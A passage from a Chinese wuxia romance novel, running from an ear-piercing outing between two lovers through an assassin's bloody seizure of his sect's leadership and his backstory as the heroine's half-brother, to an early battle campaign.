她脸腾地红起来,赶忙捂住脸颊,不许他再瞧,娇嗔骂道:
“你实实坏透了!”
“哈哈哈哈——”
他忍不住仰头大笑,而后直接搂住她后颈和腰,猛地将她打横抱起,吓得她一把搂住他的脖子,惊叫:
“你干嘛?**的,你、你、你......”
他低头用鼻子碰碰她的脸,坏笑:
“我抱你坐马车去,不告诉过你,要去城里走走吗,你想哪儿去了?”
她立马脸臊得又红又烧,一个劲儿往他怀里钻,手上轻轻小小地去拧他,“别瞎说,我我我什么都没想!”
他却声音低哑两分,暧昧道:
“你别乱动,否则我不保证君子到底,我可太想做个浪荡子了......”
“别说啦!”她轻踢脚丫,算是表示“生气”。
二人打情骂俏了一会儿,往城中而去。
扶摇城不大,但民生富庶,祥和安定。
再加上昭国民风比楠国要开放许多,街上有不少女子抛头露面地逛街玩耍。
故而,当霍乾念和云琛在宽大的袖子底下牵着手,堂堂正正走在大街上时,没人觉得他们奇怪。
只是惊叹于世间竟有这样的绝世公子和绝世美人,一双璧人比肩而行,眼中情意浓浓,且看起来非富即贵,实在羡煞旁人。
霍乾念早已打点好游玩行程,带着云琛逛戏园子、听书听小曲、买胭脂首饰、吃城中最有名的牛奶黄米糕。
云琛一改平日里女扮男装的生猛气概,像只小鸟似的依偎在霍乾念身旁,笑得又羞又甜,叫某人一路上心旌荡漾,全然不知都听谁唱了啥,牛奶黄米糕是甜的还是咸的。
见云琛总是抬手摸耳环,霍乾念问:“怎么了,耳环夹着不舒服是吗?”
她说:“夹得总不如穿戴的牢固,总是要掉。”
“那要穿耳洞不?想穿不?”
“不成不成,哪有男子穿耳洞的,我以后在军中,在霍帮,怎么跟别人解释呀!”
他笑道:“那有何妨,我瞧洛疆国的武士都有耳洞,可见各地风俗不同。你若想穿,又怕被认出来,那我陪你就是了。”
她开始有点犹豫:“这行吗?”
他极力怂恿:“有什么不行?盘古开天辟地的时候规定不许男子穿耳洞了吗?我陪你穿,然后我再脱了上衣,在军中散步两圈,自然没人会疑你男子身份!”
心里生出离经叛道做坏的劲儿,两人找到一处专门卖耳饰的铺子,恰好有个会穿耳洞的老妈子在里面。
老妈子看看十三岁前就该穿耳洞却没有的云琛,又看看一脸不容置疑的霍乾念,不确定地问了一句:
“这位公子和小姐,二位......都要穿耳洞?公子你也要穿?男子可不能穿耳,那是要破财漏福气的,会折损运气呢!”
云琛本不信这些,可一听要损霍乾念的运气,她立
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刻有点打退堂鼓,刚想说算了吧,霍乾念却没一丝犹豫,对那老妈子道:
“我财多命长,还怕这?若是一个耳洞便能改人命运,那干脆将天下有财有权之人都抓来,挨个扎耳洞,我便成天下第一了,岂不简单?来,先给我穿!”
云琛忍不住捂嘴笑起来,那老妈子也被逗笑了,只得取出穿耳的银针,笑道:
“公子说得实在有理,就让我这个老家伙不讲规矩,来为公子穿个耳洞吧。”
老妈子用盐水擦拭霍乾念的耳垂,拿两粒黄豆夹着它不停揉捻,直到微微红肿,迅速以银针扎透,一滴殷红的血珠子随之冒出来。
接着将银针端头轻轻剪掉,只留一小截还挂着,折成不易掉落的弯钩样式,算是完成。
瞧着耍刀弄枪都不怕的大男人,却被这银针穿耳疼得脸色发白,不停地倒吸凉气,老妈子忍不住打趣:
“公子方才还如豪杰一般,这会怕疼啦?我们女子可是从小就被各种规矩折磨着,就拿这耳洞来说,从今日起,三日不能见水,七日不能摘银针,睡觉时都不能侧头,不能挨软硬物,平时少不得润油养护,一不小心便要红肿生痛的。”
“嘶......”霍乾念摸着耳垂上的小小银针,感觉痛得脑仁疼。
云琛见状咧嘴,“这么痛吗?要不,我还是不穿了吧。”
一听这话,正疼得龇牙咧嘴的某人,瞬间一脸出师未捷身先死的纠结表情,“也......也不是不行......”
云琛笑倒在一旁,不再逗他,麻利地穿好两个耳洞,倒不像霍乾念那样觉得痛。
她对着镜子左右相看,又从镜子里去瞧霍乾念的侧脸。
他从来一身沉稳强势,除了对着她,他大多时候都是寡言少语高高在上的样子。
如今耳垂带星银,竟与那张扬凤眸相得益彰,透出一抹别样的妖异俊美,引得铺子里许多买东西的人都看过来,露出惊艳又好奇的目光。
见她一脸花痴地偷偷从镜子里看着他,他心中得意,脸上却沉住气,不动声色地假借拿镜子,从身后环住她,贴近她耳边,悄悄道:
“这里人多不方便,晚上我独独给你看,想看哪里都行。”
其他铺子里来来往往的人都离得远,听不见这荤话,但那穿耳洞的老妈子离得近,却是听得清清楚楚,不禁暗道一声“年轻人就是会玩”,赶忙识趣地靠远。
第199章 目的不纯
像寻常热恋中的男男女女一样,霍乾念和云琛在扶摇城中四处游玩了整整一日。
天色将晚时,二人回到“云府”。
府里面安安静静,本就为数不多的几个守院的仆从,都不知道去哪里了。
虽然里里外外一个人影都瞧不见,但内宅寝屋里已摆好热气腾腾的浴桶和寝衣。
所有沐浴更衣的东西一应俱全,里屋的床榻被褥都铺好了——
不出所料,还是两个枕头,一床被子。
光是看着这些,云琛就羞得不能自已,捂着眼睛不敢看,只能小声骂他:
“你这个登徒子,坏东西......”
他拥住她,一脸今夜志在必得的笑容:
“霍帮堂口最高的钱庄令牌就三枚,我爹一枚,你我一人一枚,我的私宅也全给你了,现在就剩我孤家寡人一个,你就说要不要吧?”
她趴在他怀中,抬头目光水盈盈地看着他,脸上有只属于少女的娇羞绯红,轻声道:
“要的......”
他顿时心头大动,盯着她的脸,声音里已添了暗哑:
“要谁?”
她眼波带水,声音软糯入骨,“要阿念......”
只感觉浑身一阵酥麻,从头皮到腰垮,全部汹涌冲锋了一遍,他一把搂住她,低头去吻,声音里已带了压抑许久的急切:
“要不别洗了吧,琛儿香着呢......”
她所有勇气都用在方才那句“要阿念”上了,这会子又羞起来,不敢直视他灼灼目光,偏头去躲,又露出新穿的红粉圆润的耳垂。
他气息拂在她脖颈,一口吻在她耳垂上,引得她身子发软。
他正要纵虎出柙,全身心投入之时,却听见一声好似银牙咬碎的“咯咯”声响起。
在这安静的夜里特别突兀,如同有人贴着他耳边咬牙切齿。
霍乾念和云琛惊得下意识分开身子。
云琛臊得像偷情一般,两个脸蛋通红通红的。
霍乾念则是没好气地循声看过去,手里已经准备拿刀了。
只见一道血红色的身影正坐在离二人不远处的屋顶上,肩背披着星月光辉,脸色却隐在浓重的阴影里,手中把玩着几颗石子,摩擦出“咯咯”的声响。
山寂面无表情地看着霍乾念,手里“咯嘣”一声,将石子攥成齑粉,语调冰冷道:
“你忙你的,不用管我。”
这是什么废话??
就是动物那啥也得避开同类吧!
被打搅了好事,霍乾念十分不爽,眯起凤眸,目光狭长而去,打量起山寂。
先前忙着找被“**”的云琛,霍乾念无暇多顾,事后回想,他已察觉山寂不太对劲。
当时,无义血卫本要帮霍乾念寻救云琛,结果五个人潜入大星山,发现朝廷的兵马,知晓那原来是皇帝布给霍乾念的考验之局,便不敢再插手。
虽说价钱到位,皇帝也杀得。
但奈何无义血卫的老巢还在昭国,还需皇帝睁一只闭一只眼,无义血卫才能太平。
因而无义血卫不敢掺和大星山的事,但山寂却违背命令,偷偷用一个手势暗示了霍乾念。
只一个微小的手势,霍乾念当即明白所有,也不至于因为云琛而冲动失去理智,将无数封信送回楠国,惹得所有人都知道他来昭国借兵,进而黄了借兵的大事。
按道理说,山寂帮了霍乾念的大忙,霍乾念应当感谢。
可霍乾念就是觉得山寂目的“不纯”,不像是帮他霍乾念,更像是冲云琛来的。
果然,山寂语气森冷,对霍乾念道:
“你要不打算继续了,就让一让,我有话同云琛说。”
“找我?”云琛狐疑,她只在彗星城码头上远远见过这个陌生的血卫一次,再没有打过交道,不明白山寂为什么点名找她。
而且码头初见时,云琛穿着男装,眼下穿着女装,山寂竟没有一丝意外的神色,仿佛早就知道她是女儿身。
霍乾念则面色不悦:“有话当着我的面说!”
山寂一脸鄙夷,“无义血卫秘密很多,你确定要听?听了不死?”
霍乾念被噎住。
除了从前初识云琛时,屡屡被她那直性子噎个半死,除此以外,他还没有再在第二个人身上吃过这种亏。
他心情愈差,脸色也愈
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发难看:
“无义血卫不是只有收到对月焚烟的信号,被召唤时才会来吗?怎么,现在生意这么不好做了,闲的没事干?主动跑生意拉客户呢?”
“哼。”山寂鼻子里哼了一声,“对月焚烟的红纸极贵,秘方化炼三十日才得一张,已经给过你一张了,别贪玩还想要。”
山寂从眼睛下方冷冷撇瞥着霍乾念,一脸将要发作的冷怒,似乎霍乾念再多说一个字,山寂便要冲过来给他两脚。
霍乾念从来没有遇见,谁人敢在他面前这样狂妄,还莫名带着一种长辈的架势来压他。
云琛则发现她和霍乾念现在手边都没有武器,而山寂无声无息就能出现在房顶上,离他们二人这么近都没有被发觉,足见是个顶尖高手。
在这种占下风的情况下,动手必要吃亏,云琛悄悄扯霍乾念的袖子:
“我瞧着他没有敌意,否则刚才趁我俩那啥......那么大意的时候,他就动手了。要不我同他聊聊?”
没有敌意?霍乾念感觉山寂早已用眼神把他千刀万剐八十遍了,何止敌意?说是“杀意”还差不多。
而且他根本不明白山寂为什么这副态度。
霍乾念盯着山寂的脸,边往外走,边放狠话:
“你给我听好,若敢动琛儿一根头发,我屠你无义血卫满门!”
山寂一副被小屁孩幼稚到了的嗤笑表情:
“呵,好大的口气。说好听点,你是无义血卫创立以来唯一活着逃走的目标;说难听点,不过是你命大没从悬崖摔死,那办差的血卫大意,没下悬崖验尸而已。你以为自己很厉害吗?有脸这般得意?”
霍乾念被说得哑口无言,黑着脸嘱咐云琛多多小心,而后气冲冲地往外院走。
在经过院门时,屋顶上的山寂注意到霍乾念的两个耳垂,再看一眼云琛新穿的耳洞和精致小巧的耳环,立刻明白几分,不禁面色微霁。
等霍乾念走远,山寂跳下屋顶,长身落定在云琛面前。
那一身血衣散发着浓重的血腥气,猩红的颜色与气味,都衬得山寂的脸愈发冷白,浑身气势愈发枭徒凶色。
第200章 飞鱼将军
若是寻常女子,此刻光是对着山寂,只怕都要吓得两腿发软,心里发颤。
可云琛见惯了杀人放火,自己手下都不知道杀过多少人,便一点不惧,反而莫名很亲切,不觉开口就是一句很亲近熟稔的话:
“你刚办完差回来吗?”
山寂也不为这语气感到别扭,脸色竟变得十分温和,完全不是方才对霍乾念的那嫌弃冷淡的模样:
“嗯,有个四十万金的单子,取外邦一个王爷的首级,我刚忙完回来,顺道看看你。”
云琛这才注意到,方才山寂坐过的屋顶边上,放着一个黑色的铁匣,估计里面装的正是那个什么外邦王爷的人头。
可山寂说起这件大差事,就像说着“我刚散步回来”那样寻常。
云琛瞬间联想,山寂应该有着比她更精彩跌宕、更九死一生的危险过往。
又是没有任何理由的,云琛突然有些心疼眼前这个“陌生人”。
看出云琛的心思,山寂反而有些不自在,咳嗽一声清清嗓子,从怀里掏出厚厚一沓子、崭新的红纸给云琛,道:
“我知道你们借兵成功,没几日就要起程回楠国了。这个给你,以后若有事,可以对月焚烟找我。”
云琛愣愣地接过红纸,心想:刚才是谁说这玩意儿极贵,要秘方化炼三十日才得一张来着?
“无义血卫的总殿在昭国,我若回楠国以后找你,岂不是要你很辛苦?”云琛问。
山寂道:“不妨,我应该很快会迁去楠国,不会离你太远。”
云琛又问:“那你主子还是掌门的,同意你去吗?”
山寂耸了下肩,“不妨事,她若不同意,我就杀了她,我来做掌门。”
云琛咧咧嘴:“这么机密的事情就别告诉我了吧,我还是挺想活着的......”
山寂忍不住笑起来,轻声道:“琛儿,你还是和小时候一样。”
云琛怔了一瞬,听着那声“琛儿”,再去看山寂的脸,她越看越熟悉,总觉得在哪里见过。
唤她琛儿的人不多,江鸣待她如亲生,霍乾念将她当心尖,除此之外,就只有娘会这么叫她。
不,还有一个人。
重重往事突然涌上心头,她一下子想起来还有谁会这么喊她!忍不住惊喜叫道:
“飞鱼将军!飞鱼哥哥!”
终于被认出来了,却又没有完全认出来。
山寂摸摸云琛的头,“十一年不见,琛儿长成大姑娘了。”
云琛完全没想到会在昭国遇见儿时的熟人,对方竟然还是赫赫有名的无义血卫。
她瞬间觉得无义血卫也不那么可怕了,高兴地揽住山寂的胳膊:
“飞鱼哥哥!你怎么会在这里?你什么时候离开幽州的?”
百般往事浮现脑海,几乎全是血腥的,非人的,是有悖世间天理的不堪,山寂却只是笑笑:
“你离家出走都不同我说一声,再也没人吃我捞的鱼了,我寂寞得很,就出来找你,一不小心学了武功,入了无义血卫,就这样。”
云琛并不在意山寂这玩笑糊弄的话,开心得像只上蹿下跳的小麻雀,围着山寂叽叽喳喳,问东问西。
“飞鱼哥哥,你给我的这沓红纸下面,怎么还有一本‘无义秘籍(上)’?是干什么的?”
“这是无义血卫的独家秘法,我目前只有上册,下册还在掌门手中,过些日子再给你。你应当与无义血卫交手过几次,你功夫不比他们弱,只是无义修习内炁,比你所学后天内力之气更强。你好好研习这个,必定武功精进,旁人轻易不能奈何你。”
“哇——飞鱼哥哥,你对我可真好!可你回无义血卫该怎么交代呢?”
“你不用担心,我自有应对。”
“飞鱼哥哥,若无义血卫不与你甘休,你就把秘籍拿回去吧,别犯险,或者你叫我帮你打!我使剑很厉害的!”
“不用。以后不论谁问起你我之间,你都只说儿时一同玩耍而已,其他不要多说。”
“为什么呀?”
沉默片刻,山寂神色复杂,眼中闪过一丝暴戾和阴郁。
对于霍乾念和云琛来说,无义血卫也许只是个恐怖又贪财的杀手组织。
但在刺客杀手这个圈子里,无义血卫代表最强武力和至高尊荣。
不知有多少人想拜在无义血卫门下,却连个门槛都摸不到。
因为入无义血卫的第一原则便是“五服之内无亲无故”,只有亲人死绝的孤儿,才能入无义血卫。
“若让别人知道你的存在,怕要生事连累你。”山寂这么说。
云琛不太懂,她又不是山寂的亲人,儿时玩伴而已,也那么要紧吗?
联想到无义血卫高超的杀人技法和严酷作风,云琛不再多问,选择乖乖听话。
二人又聊起些儿时回忆,直到外院的霍乾念已经等得非常不耐烦,不停地咳嗽,并故意发出些引人注意的声响,山寂才与云琛告别离去。
经过霍乾念身边时,看着霍乾念微微扬起的下巴,充满敌意的“情敌”架势,山寂觉得十分可笑,板起脸,用斥责的语气道:
“你给我心思收正了!拉扯人家入内室,问过她老子吗?若要求娶人家,就去府上纳彩问名,郑重提亲迎娶。未问庙堂,怎容轻薄?”
霍乾念饱读诗书,何尝不知这些礼义廉耻。
不过是早已将整个心都给了云琛,这辈子绝不容其他人,又独身如玉二十多年,天天看着云琛这温香软玉在怀却不能吃,一时色性上起,失了礼节而已。
被山寂这么一训斥,霍乾念感觉脸都快臊没了,却还是梗着脖子,硬撑着骂道:
“与你何干?你是云琛何人?”
山寂没有回话,倒是出来相送的云琛甜甜叫道:
“飞鱼哥哥,你路上慢些走!”
山寂冲云琛点点头,随即跃上屋顶,提起人头匣子,身影倏地消失在夜色之中。
只留霍乾念站在原地吃瘪不已,气得说不出话。
第201章 掌门
山寂提着人头匣子,回到无义血卫的时候,整座秘境岭九座殿宇,所有血卫都站在殿外,正在接受搜身检查。
无义血卫的镇门之宝——当年灵墟真君亲手所创的“无义秘籍”上册丢了。
掌门大发雷霆,喝令对全体血卫从头到脚进行搜查,就连所有睡觉的枕头都用匕首划破,一一翻开查看。
山寂将人头匣子扔给负责检验差事、催收账目的清算卫,自顾穿过重重殿宇,走进最高层的无义殿。
掌门脸色阴黑,两眼发青,头发都有些散乱,撑着额头坐在高座之上,面色疲惫又焦灼。
“山寂,‘无义秘籍’的上册丢了,你知道吗?”掌门开口,语气明显带着试探,“你别怪我多心,我必须问一问。”
问一问,为什么那个被捏碎喉咙的血卫,就是拿笔写,都要告山寂触犯门规,说那个大星山里的什么云琛,必然是山寂血脉相连的亲人,否则血鸽不可能认错。
如果真的是这样,轻则将山寂武功尽废,逐出无义血卫;重则是要将云琛一并杀掉的。
也必须要怀疑,为什么多年来,从不接受亲近的山寂,会突然对她这个老女人表示接纳?
从她的手可以摸上山寂的胸口,到饿虎扑食一般将他剥个精光,啃嘬得浑身青紫。
十一年没吃到的“鲜肉美味”,这次只用短短六七日就做到了。
并且山寂前脚刚提起裤子走人,后脚,无义血卫那赖以生存的无义秘籍便丢了。
怎能不令人怀疑?
“那么重要的东西怎会丢?你别急,我帮你好好找找。”山寂睁大漂亮的眼睛,一脸惊讶和关切。
掌门的目光在他脸上来回打量,瞧不出什么异常,只能看着他缓缓靠近,俯身压迫而来,抬手握住她的下巴,低头深深吻住。
她本能地迎合,心中有一瞬间的迟疑。
但那迟疑不是关于秘籍,而全都是:
今日光顾着发脾气骂人了,嘴里吐沫干得发臭,这会应该味道不怎么样,山寂会不会嫌弃?
很快,她开始呼吸急促,身子发软地倒在山寂怀里。
这个男人是这秘境岭里唯一不屑于权势地位,唯一对她掌门宝座不觊觎的家伙。
除了杀人,他无欲无求。
山寂慢慢停下亲吻。
她忍不住翕动鼻子,深嗅一口他身上浓浓的血腥气味。
她简直要爱死山寂身上的味道。
桀骜又嚣张,充满冷酷煞气。
她像个情窦初开的少女,柔若无骨地靠在他结实的胸膛,娇娇地问他:
“我的心都跳乱了——你的心跳怎么不快呀?”
山寂没有回答。
他冷眼瞧着怀中已开始意乱情迷的脸,手缓缓摩挲着她的下巴,虎口悄悄移向她咽喉。
当掌门闭上眼睛,等着山寂再次吻下去的时候,他却只是轻佻又不屑地笑了一声。
“下半本在哪里,告诉我,我留你全尸。”
接下来,没人知道无义殿里的情景。
殿外众血卫只听见掌门一声高亢的叫声,随即像是被什么东西堵住,又变成闷哼。
众人都知道那声音意味着什么。有人忍不住调侃:
“不是丢了秘籍,掌门都快疯了吗?怎么还有心情来一发?”
有人回答:“你也不看看对方是谁。掌门惦记山寂哥多久了,但凡有机会,都舍不得放山寂哥走。”
也有人鄙夷唾骂:“婊子东西,装清高贞洁那么多年,最后还不是和我们一样!”
“大哥,你骂人的时候能不能注意一点,别把咱们都带上好吗?”
“小声点,叫山寂听见了,有你吃不了兜着走!”
众人正说话间,无义殿的殿门开了。
伴着两扇沉重的大门缓缓打开,发出呜咽的长鸣,山寂大步走出殿宇,长身立在至高无上的殿前。
他将掌门的人头扔在地上,偏头吐出嘴里半截断舌,狠狠吐了口血沫,然后活动着手腕,目光如夜枭一般俯视全场,一一扫过每个人惊悚的脸。
将所有人的神情收在眼底,山寂摸摸下巴,舌头顶了下腮,目空一切,狂傲开口:
“我送掌门成仙去了,现在我就是掌门——谁知道下半本‘无义秘籍’在哪里,要么告诉我,要么杀了我。”
短短三两句话,狂妄至极,仿佛站在天下之巅,一副唯我独尊的架势。
可全场鸦雀无声,没一个人敢说话。
就连与山寂同在神霄殿的两个血卫也都不吭声,脸上明显是奈何不得的敬畏表情。
只有那先前被山寂一把捏碎咽喉、不能说话的血卫站出来,朝山寂的方向吐了口痰,而后大步向山下走。
不出所料,山寂立刻飞身杀来。
那血卫早有防备,却一招之内便被捏断了脊骨,虾米似的弓在地上。
山寂拿出靴子里的匕首,开始当众割取那血卫的人头。
不知是不是连续割过两个人头的缘故,这会刀刃有点钝,割起来十分不顺手。
目光扫到旁边一个才来无义血卫不久的家伙,山寂叫道:
“喂,刀给我用一下!”
那家伙吓得一哆嗦,连忙捧出刀奉上。
山寂很快忙活完,将刀扔回去,而后一脚将那血卫的人头踢下。
人头顺着九座大殿之间的万级台阶骨碌碌滚下,令所有人避之不及,甚至不敢大声喘气。
这可是青霄殿的血卫啊,是仅次于神霄殿的顶尖高手!
但在山寂面前,竟脆弱得像只小鸡崽。
其实好汉不敌人多,如果这么多血卫一起上,杀起来,累也能将山寂累死。
可就是没人敢动一下,全都被山寂的气势压迫得一动都不敢动。
山寂有点不耐烦了,扫视四周,又问:
“知道的放个屁!下半本‘无义秘籍’在哪里?!”
沉默片刻,一个颤抖的声音从角落传出:
“我......我知道......从前伺候过掌门一次......掌门说......说漏了嘴......可能……可能在后山的灵墟真君墓里......”
山寂满意地点点头,抬腿往后山走,头也不回,对着噤若寒蝉的众人撂下一句话:
“从前做一单,缴九得一。今后在我这,缴七得三。”
众血卫面面相觑,半天才反应过来是什么意思。
今后再卖命杀人做一单,不必将九成金子上缴了,只缴七成即可!
这他妈意味着财源滚滚和更加肆意的花天酒地啊!
众人不禁爆发出猛烈的叫好声,纷纷冲着山寂的背影吹口哨,高喊:
“掌门福生无量!”
“掌门长生不老!位列仙班!”
第202章 世间最险的路
灵墟真君成仙去了,墓不过一个衣冠冢。
历代掌门要接替掌门之位,必由上一代掌门带领,进入其中焚香祭拜、昭告真君,才算完成仪式。
山寂才懒得费这些破事,推开墓门石就往里走。
除了掌门本人,没人进过墓里。
山寂站在一条左右分叉的路口,有点不确定:
左边一道门,上面写着“大道无逆,修我真炁;亲传弟子,请走此门”。
右边一道门上则写着:“欺师灭祖,诛杀掌门;篡位逆徒,来走此门”。
山寂歪头打量两道门,看起来,右边的门好像从来没有开合过。
诚然,每一代掌门都是由上一任带着走进来的,自视正统,自然规矩地走左边,在密室中研习上部秘籍。
没人会自认“篡位逆徒”,去选择右边的门。谁知道里面有没有藏着什么机关毒药。
方才在无义殿中,就是死,那老女人也没有说出下半册无义秘籍的所在,山寂估摸那老女人其实也不确切知道。
这段时间研习了偷来的无义秘籍上册后,山寂大概猜到,上册是心法,那么下册一定是实战杀招,远比上册威力无穷。
他必须要得到下册。
哪怕拆了整个墓室都行。
思考了短短一瞬,自言自语句“我可不就是逆徒”,山寂推开右边的石门。
一进门,山寂却傻眼了。
门后没有机关也没有毒药,只是又一扇石门,上面狂草飞舞刻着一句话:
“畜生!敢杀掌门?!”
他皱眉,继续推开门扇,结果眼前还是一道石门,刻着一句骂人的话。
“你这狗屎犯上作乱?!小心我天雷劈你!”
“杀师之罪当祭天!你这妖孽!”
“举头三尺有神明!孽畜夜里敢闭眼?!”
一道又一道石门,一句比一句骂得猛。
仿佛有天眼在冥冥中看着一切,等着以雷霆之怒惩治逆徒。
这要换了旁人,恐怕此时早已吓得战战兢兢,不知所措,生怕始祖真的成仙来劈自己。
山寂却无所畏惧,只一脚将最后一道石门踹开。
门上那句“孽障无法无天?无情无义?”从他眼前一闪而过。
紧接着,一间造型古朴的密室出现在眼前。
一卷铁册端端正正地放在供桌中央,上书“无义秘籍下”几个大字。
铁册之后是灵墟真君的牌位,旁边还立着一个牌子——
“胆色过人!这才是我好徒弟!干得漂亮!秘籍给你!”
山寂骂了句“傻逼”,一把将灵墟真君的牌位拂倒,又露出墙后一行字:
“傻逼你骂谁?”
这下山寂有点服了。
甚至后背有点毛。
竟有神通者能精准地预料到百年之后,山寂会杀掌门、盗秘籍,以及来此隔空骂架。
有那么一瞬间,他真的怀疑有灵墟真君这么个厉害人物,也许真的已得道飞升,成了仙班里最乖张又无法无天的小仙,在此设下玩笑陷阱,专等着捉弄得意门生。
如此说来,这秘籍下册很可能就是专门留给他的。
想到这里,他将灵墟真君的牌位立正,恭敬鞠了一躬,而后拿起铁册扬长而去。
既学过无义秘籍上册,熟记内功心法,山寂再看这下册实战杀招,学起来如鱼得水,十分畅快。
待他将所有招式记牢学会,直接将铁册投入无义殿后一个荒废许久的什么炼丹炉,熔烧得干干净净。
他开始琢磨着,用后山的后山里,历代掌门积累下来的真有一座山那么多的金子,把无义血卫迁去楠国。
迁到一个离云琛很近的地方,将无义秘籍的下册手把手交给她。
飞鱼将军。
这是那个单纯又活泼的小姑娘,给他这个卖鱼小子起的外号。
她说,他总能抓到各式各样她想吃的青鱼、银鱼、黑鱼、草鱼......
她想吃螃蟹的时候,他恰好就抓到许多螃蟹;
她想吃红虾子的时候,他恰好就有一筐虾。
她说,他像是河里管虾兵蟹将的飞鱼将军,知道她爱吃什么,就点什么出来给她炖。
他是衣衫褴褛的穷小子,长期吃不上什么好东西,这让他又矮又瘦,身子弱得没有力气做活。
因为他那个赌鬼爹的缘故,也没人敢雇佣他。
他只能靠敏捷灵活的身手去河里捞鱼。
今日是吃顿饱的,还是吃顿西北风,全凭龙王爷心情。
有时能双脚泡得发白,终于捉到一条大花链。
有时身上被他赌鬼爹打过的地方还没长好,就要跳下冬天的河水。
水冷得刺骨,两条腿冻得毫无知觉,他却只捉到三两条小白鱼。
不管他捞到什么,那座高阔华贵的府门都会打开,探出一颗扎着羊角辫的小脑袋,一双小鹿眼灵动地望着他,将所有鱼虾尽数买走。
其实他都知道,从来没有什么飞鱼将军,没有什么他总是捞到她恰好爱吃的鱼虾。
不过是善良的小姑娘不忍心他在街上卖鱼,风里雨里地讨生活而已。
那一声甜甜的“飞鱼哥哥”,只是为了保护一个少年脆弱的自尊心。
有时候他自己都奇怪,为什么那时候那么苦,他都从来没有恨过她。
明明在那高阔华贵的府门后,陪在她身边百般疼爱又怜惜的人,也是他的母亲。
他想要恨她,可看着那双对世间污浊一无所知、对他没有一点防备的天真的眼睛,听她一声声追着他叫“哥哥”,死皮赖脸地缠着他学凫水,他就是狠不下一点心。
他望向那森严冰冷的院墙,他知道,母亲比他更苦。
他也知道,若有一天东窗事发,云琛——这个无忧无虑尽得爹娘宠爱的小姑娘,会跌落云间,失去所有疼爱。
果然,他那个赌鬼爹终究疯魔了,上门去逼着已嫁为他人妇的女人和离。
多年欺瞒终究事发,过去被血淋淋地揭开,他的母亲,也是云琛的母亲——那可怜的女人在病入膏肓中绝望逝去。
当他从郊外小河奔回来的时候,只见到府门前被砸得乱七八糟的牌位、香烛和白幡。
十二岁的云琛走了,带着她的母亲,也是他的母亲。
仿佛一夜之间失去了所有,他感到前所未有的恐惧和孤独。
高门里还爱着他的母亲没有了,叫他哥哥的琛儿也没有了。
他觉得自己真该死,偏偏那日在河里捞鱼捞个没完!耽搁了时间!
否则,他就能亲手抱一抱母亲,带走她。
否则,他那可爱又可怜的同母异父的妹妹,便不会丢了。
可他也只是想多捞两条鲫鱼,好叫云琛带去,给生病的母亲炖汤喝……
如今,什么都没有了。
罪魁祸首却还在赌坊里花天酒地,吹牛撒泼。
于是,他大逆不道,他违背天理,他用刀活活割下那赌鬼爹的人头。
他浑身血淋淋,茫然无措地站在家门口,恰逢第十代无义血卫掌门途径门前,望着他笑了一下。
从此,他走上这世间最艰险的一条路。
第203章 两个女人
待到秋来九月八,我花开后百花杀。
秋高气爽时节,大雁南飞去,军号入云霄。
三十万天狼后裔军越过昭国边界,浩浩荡荡出现在楠国原野之上。
东宫令传遍四野:
晋封霍乾念为狮威远征上将军,赐三十万大军“狮威”番号,即日奔赴战场,驱逐外敌,守卫国门!
混战不休的楠国战场,强势“新人”驾到,诸方势力皆退避三舍。
云琛因此次与霍乾念深入昭国借兵有功,加之本就有“玄都护卫”的虚衔在身,也晋封为“玄都少尉”。
虽是军中管理层级的最低等,还不如知罗的级别高,但也是个实打实的武官在职。
云琛一时间摩拳擦掌,跃跃欲试,恨不能立刻上战场拼杀。
知道云琛有死战固英城城门的好胆识,也有带兵杀敌的好本事,加之顾虑这三十万大军都是初代玄甲军的后裔,在国土安定的昭国内,大型战场的作战经验几乎为零。
霍乾念有心训之,便在入境之后,令云琛统三万兵力,追踪正在固英城外据守的黑鳞骑兵后方粮草部队。
云琛做了许多年护卫,护一个人和护卫国家,本质上来说是一样的。
都需要赤胆忠心,勇猛无畏。
只不过当将领远比当一个护卫要复杂,不仅需要强大的武力支撑,更需要卓越的远见和头脑。
纵然由得云琛历练,霍乾念还是不放心,便将荣易派给云琛为副手,将知罗拨给云琛做军师。
霍乾念本意只是要云琛历练一番,且敌方粮草部队战力不及主力部队强,不会太危险。
谁知云琛还未找到黑鳞骑兵的粮草部队,据守固英城那边的颜十九军队突然发起大举进攻,逼得黑鳞骑兵主力部队连连向东境后退,竟直接与刚过国境线的云琛军队正面相遇。
颜十九打完,倒是直接拍拍屁股回去守固英城了。
云琛的三万人则与黑鳞骑兵的八万主力军迎面相逢。
以寡敌多,云琛人数上不占优势;且对方是焦左泰带领的身经百战、作风狠辣的重装铁骑。
云琛这边的将士们根本不知自己面对的是怎么样一支敌军。
云琛索性知而不言,只说对方不过区区侵扰楠国边境的游兵部队,仗着人多一路烧杀抢掠。
众将士一听,好家伙,这可是入楠国以来的第一场仗!
全天下都等着看他们这群后裔军实力如何,是好汉还是孬种,会不会辱没了当年皇后娘娘亲手创立的玄甲军。
这仗若败了,三万人怎样,三十万人又如何,只怕脸丢的精光,没脸再往故乡走!
一时间,将士们斗志满满,奋勇冲杀,凭着一股子愣头青一样不怕死不要命的架势,迎着黑领骑兵横冲直撞,凶猛搏杀,倒真打得黑鳞骑兵首战吃瘪,勉强赢得一仗。
虽然云琛不言语,但知罗瞧得分明,知道对方实力绝对不容小觑,不禁忧心忡忡。
云琛安慰知罗:“莫怯,怯得很,死得快。咱们的主力部队很快就会来援,不会有事。”
荣易也从旁道:“黑鳞骑兵确实很强,但架不住咱不怕死啊!”
荣易说着兴奋起来,想到这些日子云琛带兵冲锋陷阵的勇猛架势,道:
“军师有所不知。有一次冲锋的时候,我跑在最前头,听着后面杀声震天,我就回头看了一眼,好家伙,云少尉那视死如归的架势,加上兄弟们如山崩地裂的吼声——我特娘的作为自己人看着都害怕!”
知罗没有见过云琛上阵杀敌的样子,但有几次军队刚从战场下来,回营的时候,她亲眼见到云琛一身血色煞气未退,那气势生猛确实非常人可比。
荣易又道:“你想象一下,那情景就好像三万个不怕死的‘云琛’在朝你冲过去,吓人不?黑鳞骑兵肯定心里也怯的!”
知罗明白云琛的“勇战”之术,且当下并无更好的办法,只能拼一个“无知无畏”。
但这样下去不是长久之计,将士们又不傻,交两次手便会发现敌我数量悬殊,装备悬殊。
正面硬刚不行,云琛现学现卖,立刻学起霍乾念在大星山之战中的声东击西和计中计的打法。
在知罗运筹帷幄、荣易全力辅佐之下,云琛率三万兵力夜袭黑鳞骑兵主营,诱敌深入,左右击杀,险象环生里赢得主战告捷,甚至还毒死了黑鳞骑兵的不少马匹。
等霍乾念率大部队赶来增援的时候,黑鳞骑兵已连夜拔营西逃,云琛等三万人马如疯狗一般,从后穷追不舍。
且云琛总是冲锋在最前面,每一场必身先交战,毫无惧色。
